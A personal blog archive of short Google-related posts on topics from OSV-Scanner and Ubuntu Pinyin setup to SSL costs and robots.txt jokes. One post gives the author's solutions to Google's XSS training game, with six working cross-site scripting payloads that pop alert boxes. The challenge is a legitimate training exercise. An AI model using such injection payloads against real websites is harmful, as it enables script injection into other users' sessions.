Vulnerability Scanner for Open Source

Finally, Google has released the OSV-scanner as a free tool that gives opensource developers access to vulnerability information which may relevant to their projects.

With the new launching OSV.dev service, it allows all the different opensource ecosystems and vulnerability databases to publish and consume information in one simple, precise, and machine readable format (JSON).

OSV-scanner is an effort to provide supported fronted to the OSV database (OSV.dev) that connects a project's list of dependencies with vulnerabilities that affect them. 

There are a few ways to use OSV:

• Use the API 
• Use the command line
• Integrate with OpenSSF Scorecard's vulnerability check
  

So, let's get start running the OSV-scanner on your project to find all the dependencies that are being used by analyzing manifests, SBOMs, and commit hashes. The scanner hen connects this information with the centralized OSV database and displays the vulnerabilities relevant to your project.

Links:

• Announcing OSV-Scanner: Vulnerability Scanner for Open Source - (Dec 13, 2022)
  
• Announcing a unified vulnerability schema for open source - (Jun 24, 2021) 
  
• Launching OSV - Better vulnerability triage for open source - (Feb 5, 2021)
  
• SLSA
• https://github.com/ossf/osv-schema
• OpenSSF Scorecard 
  

Adding Google Pinyin

This is my quick note on adding Google Pinyin in[ut method on my Ubuntu.

1. Login as root.
2. Add Chinese locales:
• # dplg-reconfigure locales
3. Install the required packages:
• # apt install fcitx fcitx-pinyin fcitx-googlepinyin
4. Run 'im-config' and change it to 'fcitx'.
5. Reboot 
6. Run 'fcitx-configtool'
1. Click "+" to add new input method
2. Uncheck "Only Show Current Language"
3. Search for "google" to add Google Pinyin
   
7. In "Global Config" tab, select the shortcut keys for switching input methods with Google Pinyin.
   

 

Links:

• https://mrzhubin.wordpress.com/2019/09/20/install-google-pinyin-input-method-on-debian/
  

My XSS-game Solution at Google AppSpot

This is the solution that I had tried out the XSS challenges at Google AppSpot, xss-game.appspot.com.

Level 1:

• https://xss-game.appspot.com/level1/frame?query=-->+<script>alert('level1');</script>

Level 2:

• <img src="" onmouseover="javascript:alert('level2');">

Level 3:

• https://xss-game.appspot.com/level3/frame#1' onmouseover="javascript:alert('level3');"

Level 4:

• https://xss-game.appspot.com/level4/frame?timer=');alert('level4')<!--

Level 5:

• https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('level5');"

Level 6:

• https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('foo')

Reference:

• https://www.google.com/about/appsecurity/learning/xss/index.html

WhatIsMyIPAddress by Google

You can now ask Google what is your public IP address by query with the following:

• my ip
• my ip address
• show my ip
• what is my ip

Very cool ;-)

Dark Bar from Google

See the dark bar on the top?

Google Vs Facebook

We all know that Facebook is hot now. But how much more does it better than Google?

We can "google" the answer for this, using Google Trends. As always, a picture worth thousand of words.

google  1.00 facebook  2.25
Google Vs. Facebook

Robots and Humans

Other robots.txt, Google site does show some humor where they do have human beside having the robots. Here's the list of URL and the snippets:

• http://www.google.com/robots.txt
• http://www.youtube.com/robots.txt
• http://www.google.com/humans.txt

Google Robots:

Sitemap: http://www.gstatic.com/s2/sitemaps/profiles-sitemap.xml
Sitemap: http://www.google.com/hostednews/sitemap_index.xml
Sitemap: http://www.google.com/ventures/sitemap_ventures.xml
Sitemap: http://www.google.com/sitemaps_webmasters.xml
Sitemap: http://www.gstatic.com/trends/websites/sitemaps/sitemapindex.xml
Sitemap: http://www.gstatic.com/dictionary/static/sitemaps/sitemap_index.xml

Youtube Robots:

# robots.txt file for YouTube# Created in the distant future (the year 2000) after# the robotic uprising of the mid 90's which wiped out all humans.

Google humans:

Google is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you'd like to help us out, see google.com/jobs.

How much time it takes to download a 2GB MKV file?

We all like to download MKV (or other format) movie files. Here's a smart hack on calculating the time it takes to download a 2GB MKV file.

The download speed depends on the ADSL line speed you subscribe. For example:

• Your file is 2GB size.
• Your link speed is 2Mbps.
• You are estimating 80% link speed, to account for the network overhead.

So, goto Google search and type this:

2GB / ( 2Mbps * 0.8)

The result shows it is estimating 2.85 hours to complete the download.

See other examples at http://stuffphilwrites.com/2011/01/long-image/

Google Suggest Venn Diagram

A venn diagram generated from http://antimatter15.github.com/venn-google/venn-google.html#why+are+christians+so#why+are+muslims+so#why+are+buddhists+so#why+are+jews+so via Google Suggest.

Google Acquisition Appetite

An infographic showing the companies Google has bought so far.



Research by Scores.org

Google's Spinning Buckyball Logo

The Cost of Switching to SSL

We can access to Gmail using HTTPS for a long time. Recently, Google has added full SSL service to Gmail and has made some decisive changes to its services. We have seen a redesigned Search, a redesigned YouTube, Google News, changes in Google Apps and the the addition of an Encrypted Search for enhanced security using SSL/TLS.

Most websites do not provide it because it is expected to be something of a high standard and is believed to require powerful servers. On the contrary, the truth is that HTTPS is not at all as resource intensive on the server as it is believed to be.

A Chrome Engineer at Google, Adam Langley writes at the Imperial Violet stating,

all of our users use HTTPS to secure their email between their browsers and Google, all the time. In order to do this we had to deploy no additional machines and no special hardware. On our production frontend machines, SSL/TLS accounts for less than 1% of the CPU load, less than 10KB of memory per connection and less than 2% of network overhead. Many people believe that SSL takes a lot of CPU time and we hope the above numbers (public for the first time) will help to dispel that.

However, the downside with SSL is that it includes a considerable latency in connection. This research reveals that there is a latency of 3.5x on SSL handshakes, the method of initializing a connection to  server. Basically, using SSL connections slows down connection establishment to a server. So did Google just compromise speed for security? Definitely not.

Google is using several mechanisms to reduce this latency. See this excerpt from the post at Langley’s blog.

OpenSSL tends to allocate about 50KB of memory for each connection. We have patched OpenSSL to reduce this to about 5KB.

Moreover Google also caches most HTTPS requests which allows it to serve them faster in subsequent queries. Google claims that this resume behavior takes place 50% of the time. SSL has been optimized at its best at Google.

These facts prove that SSL is not as resource intensive as it is blamed to be. The fact of it being more expensive is just a commercial aspect and a business policy.

Google Vs PacMan

Google has a permanent page for PacMan now.

If you still recall that when Google was celebrating 30’th anniversary (May 21, 2010) of the most successful game, Pac-Man, it caused a waste of 4.82 million hours.

References:

• Play Pac-Man at Google Homepage, even multi-player.
• How To Embed Google Homepage Doodle Pac-Man Game On A Website Or Blog?

Google Web Elements

Google Web Elements allow you to easily add your favorite Google products onto your own website.

• Google Calendar
• Google Search
• Google Map
• Google News
• Google Conversation
• Google Docs: Presentation & Spreadsheet
  
• YouTube News
  

Howto Make the Search Engine Searches You

Here's the instruction on how to submit your websites to the popular search engines.

Microsoft Bing
Get your Windows Live ID ready, and visit to this site:

• http://www.bing.com/webmaster/WebmasterAddSitesPage.aspx
• Fill out your website’s complete URL
• (Optionally) Insert the your sitemap URL in second line.
• Finally, input email and select if you want news updates for webmasters.

Google
Same here, visit to this site:

• http://www.google.com/webmasters/tools/
• Log in with your Google ID.
• Enter your site’s URL address
• You may also add a site map and get it verified. This involves adding some code to your site to confirm the ownership.

Have you submitted your blog or website to these or other search engines? Which has brought you the best results? Share them with us in the comments!

The Security Implications Of Google Native Client

This is a wonderful post from Matasano Security about the implication of Google Native Client. This post explains in detail on the difference between the Google Native Client (NaCl) and ActiveX.

Read it at Matasano Security.

What's Your Location?

There are a few ways provided by Google, to show your location, or geotagging, when you post to your blog site or sending email.

1. Google Latitude: to see your friends on map. You can check this using your phone, computer, or both.
2. Gmail Message Signature: Enable "Location in Signature" option in Gmail Labs, and follow by "Append your location to the signature" in Setting page, it will be able to see where you send the email out. With Google Gear install, the Gears Geolocation API can make use of network servers to determines the client's position including the client's IP address and information about any cell towers or WiFi nodes it can detect. Cool!
3. Blogger Geotagging: This is an option only enabled in Blogger in Draft. It provides an option to add location in the post editor. You can search, zoom, click, drag on a map to choose and save a location.

Information Security in Cloud Computing

This is a typical example of information security within cloud computing: you just don't know when will you're vulnerable.

See how Google has handled a bug reported on Google Docs: error allowed unauthorised document access.

SecApps

So what is Secapps? Secapps is the new home of the GHDB - Goolge Hacking Database. It will also be the new home for several other tools and perhaps an user-supported index of external tools. It is sponsored by GNUCITIZEN.

Mystery Flaw in Google Docs

A potential security flaw was found by accident at Google Docs. The Google Docs session appeared to have "crossed over" with another users. Meaning you may end up seeing a document owned by you (after login), but not (supposed to) owned by you.

Till now, there is no way to re-produce the security flaw at the moment. It suspects the Google Docs flaw comes from a JavaScript error in how Google manages user sessions.

>>> http://blog.isc2.org/isc2_blog/2008/09/serious-securit.html